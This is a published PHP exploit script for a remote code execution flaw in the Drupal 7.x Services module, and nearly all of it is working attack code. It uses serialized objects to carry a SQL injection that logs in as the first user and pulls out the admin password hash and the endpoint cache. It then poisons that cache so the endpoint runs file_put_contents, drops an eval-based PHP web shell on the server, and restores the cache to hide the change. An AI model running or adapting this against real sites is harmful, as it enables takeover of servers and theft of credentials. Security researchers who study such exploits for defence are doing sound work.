Drupal 7.x Module Services - Remote Code Execution

# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics 
# Website: https://www.ambionics.io/blog/drupal-services-module-rce


#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
#    along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
# 

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'dixuSOspsOUU.php',
    'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
];

$browser = new Browser($url . $endpoint_path);


# Stage 1: SQL Injection

class DatabaseCondition
{
    protected $conditions = [
        "#conjunction" => "AND"
    ];
    protected $arguments = [];
    protected $changed = false;
    protected $queryPlaceholderIdentifier = null;
    public $stringVersion = null;

    public function __construct($stringVersion=null)
    {
        $this->stringVersion = $stringVersion;

        if(!isset($stringVersion))
        {
            $this->changed = true;
            $this->stringVersion = null;
        }
    }
}

class SelectQueryExtender {
    # Contains a DatabaseCondition object instead of a SelectQueryInterface
    # so that $query->compile() exists and (string) $query is controlled by us.
    protected $query = null;

    protected $uniqueIdentifier = QID;
    protected $connection;
    protected $placeholder = 0;

    public function __construct($sql)
    {
        $this->query = new DatabaseCondition($sql);
    }
}

$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query = 
    "0x3a) UNION SELECT ux.uid AS uid, " .
    "ux.name AS name, '$password_hash' AS pass, " .
    "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
    "ux.pass AS signature_format, ux.created AS created, " .
    "ux.access AS access, ux.login AS login, ux.status AS status, " .
    "ux.timezone AS timezone, ux.language AS language, ux.picture " .
    "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
    "WHERE ux.uid<>(0"
;

$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as well
if(!isset($json->user))
{
    print_r($json);
    e("Failed to login with fake password");
}

# Store session and user data

$session = [
    'session_name' => $json->session_name,
    'session_id' => $json->sessid,
    'token' => $json->token
];
store('session', $session);

$user = $json->user;

# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);

# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);

store('user', $user);

if($cache === false)
{
    e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray
{
    # Cache ID
    protected $cid = "services:endpoint_name:resources";
    # Name of the table to fetch data from.
    # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
    protected $bin = 'cache';
    protected $keysToPersist = [];
    protected $storage = [];

    function __construct($storage, $endpoint, $controller, $action) {
        $settings = [
            'services' => ['resource_api_version' => '1.0']
        ];
        $this->cid = "services:$endpoint:resources";

        # If no endpoint is given, just reset the original values
        if(isset($controller))
        {
            $storage[$controller]['actions'][$action] = [
                'help' => 'Writes data to a file',
                # Callback function
                'callback' => 'file_put_contents',
                # This one does not accept "true" as Drupal does,
                # so we just go for a tautology
                'access callback' => 'is_string',
                'access arguments' => ['a string'],
                # Arguments given through POST
                'args' => [
                    0 => [
                        'name' => 'filename',
                        'type' => 'string',
                        'description' => 'Path to the file',
                        'source' => ['data' => 'filename'],
                        'optional' => false,
                    ],
                    1 => [
                        'name' => 'data',
                        'type' => 'string',
                        'description' => 'The data to write',
                        'source' => ['data' => 'data'],
                        'optional' => false,
                    ],
                ],
                'file' => [
                    'type' => 'inc',
                    'module' => 'services',
                    'name' => 'resources/user_resource',
                ],
                'endpoint' => $settings
            ];
            $storage[$controller]['endpoint']['actions'] += [
                $action => [
                    'enabled' => 1,
                    'settings' => $settings
                ]
            ];
        }

        $this->storage = $storage;
        $this->keysToPersist = array_fill_keys(array_keys($storage), true);
    }
}

class ThemeRegistry Extends DrupalCacheArray {
    protected $persistable;
    protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));


# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
    e("Failed to write file.");
}

$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");


# HTTP Browser

class Browser
{
    private $url;
    private $controller = CONTROLLER;
    private $action = ACTION;

    function __construct($url)
    {
        $this->url = $url;
    }

    function post($type, $data)
    {
        $headers = [
            "Accept: " . TYPE_JSON,
            "Content-Type: $type",
            "Content-Length: " . strlen($data)
        ];
        $url = $this->url . '/' . $this->controller . '/' . $this->action;

        $s = curl_init(); 
        curl_setopt($s, CURLOPT_URL, $url);
        curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($s, CURLOPT_POST, 1);
        curl_setopt($s, CURLOPT_POSTFIELDS, $data);
        curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
        $output = curl_exec($s);
        $error = curl_error($s);
        curl_close($s);

        if($error)
        {
            e("cURL: $error");
        }

        return json_decode($output);
    }
}

# Cache

function cache_poison($endpoint, $cache)
{
    $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
    cache_edit($tr);
}

function cache_reset($endpoint, $cache)
{
    $tr = new ThemeRegistry($cache, $endpoint, null, null);
    cache_edit($tr);
}

function cache_edit($tr)
{
    global $browser;
    $data = serialize([$tr]);
    $json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message)
{
    print("$message\n");
}

function e($message)
{
    x($message);
    exit(1);
}

function store($name, $data)
{
    $filename = "$name.json";
    file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
    x("Stored $name information in $filename");
}